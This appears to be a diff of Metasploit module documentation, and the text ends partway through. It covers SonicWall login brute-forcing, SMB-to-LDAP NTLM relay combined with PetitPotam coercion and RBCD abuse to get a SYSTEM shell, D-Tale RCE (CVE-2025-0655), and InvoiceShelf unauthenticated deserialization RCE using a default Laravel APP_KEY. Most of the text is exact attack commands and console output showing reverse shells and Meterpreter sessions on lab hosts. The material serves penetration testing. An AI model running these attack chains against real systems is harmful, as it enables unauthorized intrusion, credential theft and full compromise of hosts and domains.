The module performs bruteforce attack against SonicWall NSv (Network Security Virtual).
|
||||
It allows to attack both regular SSLVPN user and admin as well. The module will automatically perform attack against SSLVPN user if `DOMAIN` parameter is not empty.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
- [SonicWall](https://www.sonicwall.com/resources/trials-landing/sonicwall-nsv-next-gen-virtual-firewall-trial)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use auxiliary/scanner/sonicwall/login_scanner`
|
||||
2. `set RHOSTS [IP]`
|
||||
3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]`
|
||||
4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]`
|
||||
5. `set DOMAIN [domain to attack/empty string to attack admin account]`
|
||||
6. `run`
|
||||
|
||||
|
||||
@@ -0,0 +1,314 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module supports running an SMB server which validates credentials, and
|
||||
then attempts to execute a relay attack against an LDAP server on the
|
||||
configured RELAY_TARGETS hosts.
|
||||
|
||||
It is not possible to relay NTLMv2 to LDAP due to the Message Integrity Check
|
||||
(MIC). As a result, this will only work with NTLMv1. The module takes care of
|
||||
removing the relevant flags to bypass signing.
|
||||
|
||||
If the relay succeeds, an LDAP session to the target will be created. This can
|
||||
be used by any modules that support LDAP sessions, like `admin/ldap/rbcd` or
|
||||
`auxiliary/gather/ldap_query`.
|
||||
|
||||
Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes.
|
||||
SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
### Lab setup
|
||||
You will need a Domain Controller and a Domain-joined host:
|
||||
|
||||
Domain Computer <-> Metasploit framework <-> Domain Controller
|
||||
|
||||
Where:
|
||||
|
||||
- Domain name: NEWLAB.local
|
||||
- VICTIM (Domain Computer) = 192.168.232.111
|
||||
- msfconsole = 192.168.232.3
|
||||
- DC01 (Domain Controller) = 192.168.232.110
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
A("VICTIM (Domain Computer) - 192.168.232.111")
|
||||
subgraph metasploit[" msfconsole - 192.168.232.3 "]
|
||||
subgraph inside [ ]
|
||||
direction TB
|
||||
style inside margin-top: 0
|
||||
style inside stroke: none
|
||||
|
||||
B("smb_to_ldap")
|
||||
database[(Database)]
|
||||
|
||||
B -->|"report_ntlm_type3(...)"| database
|
||||
end
|
||||
end
|
||||
C("DC01 (Domain Controller) - 192.168.232.110")
|
||||
|
||||
A <-->|SMB 445| metasploit
|
||||
metasploit <-->|"ldap session (TCP/389)"| C
|
||||
```
|
||||
|
||||
The Domain Computer will need to be configured to use NTLMv1 by setting the
|
||||
following registry key to a value less or equal to 2:
|
||||
|
||||
```
|
||||
PS > reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel /t REG_DWORD /d 0x2 /f
|
||||
```
|
||||
|
||||
```
|
||||
PS > reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa -v LmCompatibilityLevel
|
||||
|
||||
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
|
||||
LmCompatibilityLevel REG_DWORD 0x2
|
||||
```
|
||||
|
||||
Finally run the relay server on msfconsole, setting the `RELAY_TARGETS` option
|
||||
to the Domain Controller IP address.
|
||||
|
||||
```
|
||||
run verbose=true RELAY_TARGETS=192.168.232.110
|
||||
```
|
||||
|
||||
You will have to coerce the Domain Computer and force it to authenticate to the
|
||||
msfconsole server (see an example below).
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### RELAY_TARGETS
|
||||
|
||||
Target address range or CIDR identifier to relay to.
|
||||
|
||||
### CAINPWFILE
|
||||
|
||||
A file to store Cain & Abel formatted captured hashes in. Only supports NTLMv1 Hashes.
|
||||
|
||||
### JOHNPWFILE
|
||||
|
||||
A file to store John the Ripper formatted hashes in. NTLMv1 and NTLMv2 hashes
|
||||
will be stored in separate files.
|
||||
I.E. the filename john will produce two files, `john_netntlm` and `john_netntlmv2`.
|
||||
|
||||
### RELAY_TIMEOUT
|
||||
|
||||
Seconds that the relay socket will wait for a response after the client has
|
||||
initiated communication (default 25 sec.).
|
||||
|
||||
### SMBDomain
|
||||
|
||||
The domain name used during SMB exchange.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Start the relay server
|
||||
```
|
||||
msf6 > use auxiliary/server/relay/smb_to_ldap
|
||||
msf6 auxiliary(server/relay/smb_to_ldap) > run verbose=true RELAY_TARGETS=192.168.232.110
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf6 auxiliary(server/relay/smb_to_ldap) >
|
||||
[*] SMB Server is running. Listening on 0.0.0.0:445
|
||||
[*] Server started.
|
||||
|
||||
msf6 auxiliary(server/relay/smb_to_ldap) > _servicemanager
|
||||
Services
|
||||
========
|
||||
|
||||
Id Name References
|
||||
-- ---- ----------
|
||||
0 Msf::Exploit::Remote::SMB::RelayServer::SMBRelayServer0.0.0.0445 2
|
||||
1 SMB Relay Server 2
|
||||
```
|
||||
|
||||
### Net use example
|
||||
A simple test would be using the Windows `net use` command:
|
||||
|
||||
```
|
||||
net use \\192.168.232.3\foo /u:Administrator 123456
|
||||
```
|
||||
|
||||
msfconsole output:
|
||||
|
||||
```
|
||||
[*] New request from 192.168.232.111
|
||||
[*] Received request for \Administrator
|
||||
[*] Relaying to next target ldap://192.168.232.110:389
|
||||
[+] Identity: \Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389
|
||||
[+] Relay succeeded
|
||||
[*] LDAP session 1 opened (192.168.232.3:45007 -> 192.168.232.110:389) at 2025-01-23 20:39:45 +0100
|
||||
[*] Received request for \Administrator
|
||||
[*] Identity: \Administrator - All targets relayed to
|
||||
[*] New request from 192.168.232.111
|
||||
[*] Received request for NEWLAB\Administrator
|
||||
[*] Relaying to next target ldap://192.168.232.110:389
|
||||
[+] Identity: NEWLAB\Administrator - Successfully authenticated against relay target ldap://192.168.232.110:389
|
||||
[+] Relay succeeded
|
||||
[*] LDAP session 2 opened (192.168.232.3:43845 -> 192.168.232.110:389) at 2025-01-23 20:39:46 +0100
|
||||
[*] Received request for NEWLAB\Administrator
|
||||
[*] Identity: NEWLAB\Administrator - All targets relayed to
|
||||
|
||||
msf6 auxiliary(server/relay/smb_to_ldap) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 ldap LDAP Administrator @ 192.168.232.110:389 192.168.232.3:45007 -> 192.168.232.110:389 (192.168.232.110)
|
||||
2 ldap LDAP Administrator @ 192.168.232.110:389 192.168.232.3:43845 -> 192.168.232.110:389 (192.168.232.110)
|
||||
```
|
||||
|
||||
### PetitPotam example
|
||||
|
||||
Coerce authentication using a non-privileged Domain User account with PetitPotam:
|
||||
|
||||
```
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > run verbose=true rhosts=192.168.232.111 listener=192.168.232.3 SMBUser=msfuser SMBPass=123456 SMBDomain=newlab.local
|
||||
[*] 192.168.232.111:445 - Binding to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ...
|
||||
[*] 192.168.232.111:445 - Bound to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.232.111[\lsarpc] ...
|
||||
[*] 192.168.232.111:445 - Attempting to coerce authentication via EfsRpcOpenFileRaw
|
||||
[*] 192.168.232.111:445 - Server responded with ERROR_ACCESS_DENIED (Access is denied.)
|
||||
[*] 192.168.232.111:445 - Attempting to coerce authentication via EfsRpcEncryptFileSrv
|
||||
|
||||
[*] New request from 192.168.232.111
|
||||
[*] Received request for NEWLAB\VICTIM$
|
||||
[*] Relaying to next target ldap://192.168.232.110:389
|
||||
[+] Identity: NEWLAB\VICTIM$ - Successfully authenticated against relay target ldap://192.168.232.110:389
|
||||
[*] Skipping previously captured hash for NEWLAB\VICTIM$
|
||||
[+] Relay succeeded
|
||||
[*] LDAP session 1 opened (192.168.232.3:46691 -> 192.168.232.110:389) at 2025-01-23 19:19:18 +0100
|
||||
[*] Received request for NEWLAB\VICTIM$
|
||||
[*] Identity: NEWLAB\VICTIM$ - All targets relayed to
|
||||
|
||||
[+] 192.168.232.111:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
|
||||
[*] 192.168.232.111:445 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 ldap LDAP VICTIM$ @ 192.168.232.110:389 192.168.232.3:46691 -> 192.168.232.110:389 (192.168.232.110)
|
||||
|
||||
msf6 auxiliary(scanner/dcerpc/petitpotam) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
LDAP (192.168.232.110) > query -f (sAMAccountName=VICTIM$)
|
||||
CN=VICTIM,CN=Computers,DC=newlab,DC=local
|
||||
===============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
accountexpires 9223372036854775807
|
||||
badpasswordtime 133820110912034399
|
||||
badpwdcount 0
|
||||
cn VICTIM
|
||||
...
|
||||
|
||||
LDAP (192.168.232.110) >
|
||||
Background session 1? [y/N]
|
||||
```
|
||||
|
||||
### Exploit Resource-based Constrained Delegation (RBCD)
|
||||
|
||||
For details about RCBD, see https://docs.metasploit.com/docs/pentesting/active-directory/kerberos/rbcd.html#rbcd-exploitation
|
||||
|
||||
- Create a computer account with the `admin/dcerpc/samr_account` module and the same Domain User account
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > run verbose=true rhost=192.168.232.110 SMBUser=msfuser SMBPASS=123456 SMBDomain=newlab.local action=ADD_COMPUTER ACCOUNT_NAME=FAKE01$ ACCOUNT_PASSWORD=123456
|
||||
[*] Running module against 192.168.232.110
|
||||
[*] 192.168.232.110:445 - Adding computer
|
||||
[*] 192.168.232.110:445 - Connecting to Security Account Manager (SAM) Remote Protocol
|
||||
[*] 192.168.232.110:445 - Binding to \samr...
|
||||
[+] 192.168.232.110:445 - Bound to \samr
|
||||
[+] 192.168.232.110:445 - Successfully created newlab.local\FAKE01$
|
||||
[+] 192.168.232.110:445 - Password: 123456
|
||||
[+] 192.168.232.110:445 - SID: S-1-5-21-3065298949-3337206023-618530601-1618
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
- Setup RBCD with the `admin/ldap/rbcd` module using the LDAP session
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=READ
|
||||
[*] Running module against 192.168.232.110
|
||||
[+] Successfully bound to the LDAP server via existing SESSION!
|
||||
[*] Discovering base DN automatically
|
||||
[*] The msDS-AllowedToActOnBehalfOfOtherIdentity field is empty.
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=WRITE delegate_from=FAKE01$
|
||||
[*] Running module against 192.168.232.110
|
||||
[+] Successfully bound to the LDAP server via existing SESSION!
|
||||
[*] Discovering base DN automatically
|
||||
[+] Successfully created the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
|
||||
[*] Added account:
|
||||
[*] S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
msf6 auxiliary(admin/ldap/rbcd) > run verbose=true rhost=192.168.232.110 session=1 delegate_to=VICTIM action=READ
|
||||
[*] Running module against 192.168.232.110
|
||||
[+] Successfully bound to the LDAP server via existing SESSION!
|
||||
[*] Discovering base DN automatically
|
||||
[*] Allowed accounts:
|
||||
[*] S-1-5-21-3065298949-3337206023-618530601-1618 (FAKE01$)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
- Getting the Kerberos tickets using the `admin/kerberos/get_ticket` module
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > run action=GET_TGS rhost=192.168.232.110 username=FAKE01 password=123456 domain=newlab.local spn=cifs/VICTIM.newlab.local impersonate=Administrator
|
||||
[*] Running module against 192.168.232.110
|
||||
[+] 192.168.232.110:88 - Received a valid TGT-Response
|
||||
[*] 192.168.232.110:88 - TGT MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin
|
||||
[*] 192.168.232.110:88 - Getting TGS impersonating Administrator@newlab.local (SPN: cifs/VICTIM.newlab.local)
|
||||
[+] 192.168.232.110:88 - Received a valid TGS-Response
|
||||
[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin
|
||||
[+] 192.168.232.110:88 - Received a valid TGS-Response
|
||||
[*] 192.168.232.110:88 - TGS MIT Credential Cache ticket saved to /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
- Code execution using the `windows/smb/psexec` module
|
||||
|
||||
```
|
||||
msf6 exploit(windows/smb/psexec) > klist
|
||||
Kerberos Cache
|
||||
==============
|
||||
id host principal sname enctype issued status path
|
||||
-- ---- --------- ----- ------- ------ ------ ----
|
||||
105 192.168.232.110 FAKE01@NEWLAB.LOCAL krbtgt/NEWLAB.LOCAL@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_759601.bin
|
||||
106 192.168.232.110 Administrator@NEWLAB.LOCAL FAKE01@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_975187.bin
|
||||
107 192.168.232.110 Administrator@NEWLAB.LOCAL cifs/VICTIM.newlab.local@NEWLAB.LOCAL AES256 2025-01-23 19:29:59 +0100 active /home/n00tmeg/.msf4/loot/20250123192959_default_192.168.232.110_mit.kerberos.cca_335229.bin
|
||||
|
||||
msf6 exploit(windows/smb/psexec) > run lhost=192.168.232.3 rhost=192.168.232.111 username=Administrator smb::auth=kerberos smb::rhostname=VICTIM.newlab.local domaincontrollerrhost=192.168.232.110 domain=newlab.local
|
||||
[*] Started reverse TCP handler on 192.168.232.3:4444
|
||||
[*] 192.168.232.111:445 - Connecting to the server...
|
||||
[*] 192.168.232.111:445 - Authenticating to 192.168.232.111:445|newlab.local as user 'Administrator'...
|
||||
[*] 192.168.232.111:445 - Using cached credential for cifs/VICTIM.newlab.local@NEWLAB.LOCAL Administrator@NEWLAB.LOCAL
|
||||
[*] 192.168.232.111:445 - Selecting PowerShell target
|
||||
[*] 192.168.232.111:445 - Executing the payload...
|
||||
[+] 192.168.232.111:445 - Service start timed out, OK if running a command or non-service executable...
|
||||
[*] Sending stage (177734 bytes) to 192.168.232.111
|
||||
[*] Meterpreter session 1 opened (192.168.232.3:4444 -> 192.168.232.111:42528) at 2025-01-23 19:35:07 +0100
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : VICTIM
|
||||
OS : Windows Server 2019 (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : NEWLAB
|
||||
Logged On Users : 9
|
||||
Meterpreter : x86/windows
|
||||
```
|
||||
|
||||
@@ -0,0 +1,110 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploit effectively serves as a bypass for CVE-2024-3408.
|
||||
An attacker can override global state to enable custom filters, which then facilitates remote code execution.
|
||||
Specifically, this vulnerability leverages the ability to manipulate global application settings
|
||||
to activate the enable_custom_filters feature, typically restricted to trusted environments.
|
||||
Once enabled, the /test-filter endpoint of the Custom Filters functionality can be exploited to execute arbitrary system commands.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* D-Tale <= 3.15.1
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* D-Tale 3.15.1 installed on Ubuntu 24.04
|
||||
* D-Tale 3.12.0 installed on Ubuntu 22.04
|
||||
* D-Tale 3.10.0 installed on Ubuntu 22.04
|
||||
* D-Tale 3.0.0 installed on Ubuntu 22.04
|
||||
* D-Tale 2.5.1 installed on Ubuntu 22.04
|
||||
* D-Tale 2.4.0 installed on Ubuntu 22.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `pip install 'dtale==3.15.1'`
|
||||
|
||||
2. `dtale --host 0.0.0.0`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/dtale_rce_cve_2025_0655`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 > use exploit/linux/http/dtale_rce_cve_2025_0655
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
msf6 exploit(linux/http/dtale_rce_cve_2025_0655) > options
|
||||
|
||||
Module options (exploit/linux/http/dtale_rce_cve_2025_0655):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 40000 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
When FETCH_FILELESS is false:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_FILENAME agAyokIhdJZ no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/dtale_rce_cve_2025_0655) > run lhost=192.168.56.1 rhost=192.168.56.17
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 3.15.1 detected.
|
||||
[*] Use data_id: 1
|
||||
[*] Updated the enable_custom_filters to true.
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:33210) at 2025-03-03 20:49:53 +0900
|
||||
[*] Successfully executed the payload.
|
||||
[*] Successfully cleaned up data_id: 1
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubu
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.56.17
|
||||
OS : Ubuntu 22.04 (Linux 6.8.0-52-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,186 @@
|
||||
## Vulnerable Application
|
||||
InvoiceShelf is an open-source web & mobile app that helps you track expenses, payments, create professional
|
||||
invoices & estimates and is based on the PHP framework Laravel.
|
||||
InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct
|
||||
PHP deserialization attacks. This is possible when the `SESSION_DRIVER=cookie` option is set on the default
|
||||
InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie.
|
||||
These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using
|
||||
Laravel's encrypt() function.
|
||||
An attacker in possession of the `APP_KEY` would therefore be able to retrieve the cookie, uncipher it and modify
|
||||
the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve
|
||||
remote command execution. InvoiceShelf version `1.3.0` and lower is vulnerable.
|
||||
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
|
||||
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
|
||||
to sensitive information.
|
||||
|
||||
The following release was tested.
|
||||
* InvoiceShelf `1.3.0` on Docker
|
||||
|
||||
## Installation steps to install InvoiceShelf on Docker
|
||||
* Follow the instructions [here](https://docs.invoiceshelf.com/installation.html) for docker or manual install.
|
||||
* Please ensure that `SESSION_DRIVER=cookie` is set to cookie.
|
||||
* cp `.env.example` to `.env` and note down the `APP_KEY` setting.
|
||||
* To make life easy, use the `docker-compose.yml` below to install a vulnerable InvoiceShell on Docker.
|
||||
```
|
||||
#-------------------------------------------
|
||||
# InvoiceShelf MySQL docker-compose variant
|
||||
# Repo : https://github.com/InvoiceShelf/docker
|
||||
#-------------------------------------------
|
||||
|
||||
services:
|
||||
invoiceshelf_db:
|
||||
container_name: invoiceshelf_db
|
||||
image: mariadb:10
|
||||
environment:
|
||||
- MYSQL_DATABASE=invoiceshelf
|
||||
- MYSQL_USER=invoiceshelf
|
||||
- MYSQL_PASSWORD=Passw0rd
|
||||
- MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=true
|
||||
expose:
|
||||
- 3306
|
||||
volumes:
|
||||
- mysql:/var/lib/mysql
|
||||
networks:
|
||||
- invoiceshelf
|
||||
restart: unless-stopped
|
||||
healthcheck:
|
||||
test: ["CMD", "mariadb-admin" ,"ping", "-h", "localhost"]
|
||||
timeout: 20s
|
||||
retries: 10
|
||||
|
||||
invoiceshelf:
|
||||
image: invoiceshelf/invoiceshelf:1.3.0
|
||||
container_name: invoiceshelf
|
||||
ports:
|
||||
- 90:80
|
||||
volumes:
|
||||
- ./invoiceshelf_mysql/data:/data
|
||||
- ./invoiceshelf_mysql/conf:/conf
|
||||
networks:
|
||||
- invoiceshelf
|
||||
environment:
|
||||
# PHP timezone e.g. PHP_TZ=America/New_York
|
||||
- PHP_TZ=UTC
|
||||
- TIMEZONE=UTC
|
||||
- APP_NAME=Laravel
|
||||
- APP_ENV=local
|
||||
- APP_DEBUG=true
|
||||
- APP_URL=http://localhost:90
|
||||
- DB_CONNECTION=mysql
|
||||
- DB_HOST=invoiceshelf_db
|
||||
- DB_PORT=3306
|
||||
- DB_DATABASE=invoiceshelf
|
||||
- DB_USERNAME=invoiceshelf
|
||||
- DB_PASSWORD=Passw0rd
|
||||
- DB_PASSWORD_FILE=
|
||||
- CACHE_STORE=file
|
||||
- SESSION_DRIVER=cookie
|
||||
- SESSION_LIFETIME=1440
|
||||
- SESSION_ENCRYPT=false
|
||||
- SESSION_PATH=/
|
||||
- SESSION_DOMAIN=localhost
|
||||
- SANCTUM_STATEFUL_DOMAINS=localhost:90
|
||||
- STARTUP_DELAY=
|
||||
#- MAIL_DRIVER=smtp
|
||||
#- MAIL_HOST=smtp.mailtrap.io
|
||||
#- MAIL_PORT=2525
|
||||
#- MAIL_USERNAME=null
|
||||
#- MAIL_PASSWORD=null
|
||||
#- MAIL_PASSWORD_FILE=<filename>
|
||||
#- MAIL_ENCRYPTION=null
|
||||
restart: unless-stopped
|
||||
depends_on:
|
||||
- invoiceshelf_db
|
||||
|
||||
networks:
|
||||
invoiceshelf:
|
||||
|
||||
volumes:
|
||||
mysql:
|
||||
```
|
||||
* Execute `docker-compose up -d`
|
||||
* You can access the InvoiceShelf application at http://localhost:90
|
||||
|
||||
## Verification Steps
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set lhost <attacker-ip>`
|
||||
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
## Options
|
||||
### APP_KEY
|
||||
This option is required if the BRUTE_FORCE option is not used.
|
||||
It is the Laravel APP_KEY with a default key: `base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=`.
|
||||
|
||||
### BRUTEFORCE
|
||||
This option is optional and is a text file with a list of APP_KEYs, one per line for a bruteforce attack.
|
||||
|
||||
## Scenarios
|
||||
### InvoiceShelf 1.3.0 on Docker - PHP Command target
|
||||
Attack scenario: use the default Laravel APP_KEY preset in the option APP_KEY.
|
||||
```msf
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set rhosts 192.168.201.21
|
||||
rhosts => 192.168.201.21
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set lhost 192.168.201.8
|
||||
lhost => 192.168.201.8
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.21:90 can be exploited.
|
||||
[+] The target appears to be vulnerable. InvoiceShelf 1.3.0
|
||||
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.
|
||||
[*] Grabbing the cookies.
|
||||
[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=
|
||||
[+] Unciphered value: f80a79e26a4e80e6829ca82e9323f17dcbf8226b|{"data":"a:3:{s:6:\"_token\";s:40:\"4Fgr0aT0N85gxRmu4PoVqPzHU7XOH23NCrivJO9x\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454360}
|
||||
[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY.
|
||||
[*] Executing PHP for php/meterpreter/reverse_tcp
|
||||
[*] Sending stage (40004 bytes) to 192.168.201.21
|
||||
[*] Meterpreter session 2 opened (192.168.201.8:4444 -> 192.168.201.21:54194) at 2025-03-07 17:19:21 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > pwd
|
||||
/var/www/html/InvoiceShelf/public
|
||||
meterpreter > sysinfo
|
||||
Computer : 72fe563832ca
|
||||
OS : Linux 72fe563832ca 6.12.5-linuxkit #1 SMP PREEMPT_DYNAMIC Tue Jan 21 10:25:35 UTC 2025 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
### InvoiceShelf 1.3.0 on Docker - Unix/Linux Command target
|
||||
Attack scenario: use the BRUTEFORCE option with a list of APP_KEYS in a text file.
|
||||
```msf
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > set BRUTEFORCE /root/laravel-crypto-killer/wordlists/crater.txt
|
||||
BRUTEFORCE => /root/laravel-crypto-killer/wordlists/crater.txt
|
||||
msf6 exploit(linux/http/invoiceshelf_unauth_rce_cve_2024_55556) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.21:90 can be exploited.
|
||||
[+] The target appears to be vulnerable. InvoiceShelf 1.3.0
|
||||
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the cookie.
|
||||
[*] Grabbing the cookies.
|
||||
[*] Starting bruteforce decryption with APP_KEYS listed in /root/laravel-crypto-killer/wordlists/crater.txt.
|
||||
[+] APP_KEY is valid: base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=
|
||||
[+] Unciphered value: ce0776f8682b66a8407e6a3d62622642ec8fc685|{"data":"a:3:{s:6:\"_token\";s:40:\"Q2zYE5unWqTpdLwFwqgKxBVubiDI95ceLObsbXXV\";s:9:\"_previous\";a:1:{s:3:\"url\";s:40:\"http:\/\/192.168.201.21:90\/login?%2Flogin=\";}s:6:\"_flash\";a:2:{s:3:\"old\";a:0:{}s:3:\"new\";a:0:{}}}","expires":1741454687}
|
||||
[*] Generate an encrypted serialized cookie payload with our cracked APP_KEY.
|
||||
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
|
||||
[*] Command shell session 3 opened (192.168.201.8:4444 -> 192.168.201.21:54229) at 2025-03-07 17:24:53 +0000
|
||||
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(invoiceshelf)
|
||||
uname -a
|
||||
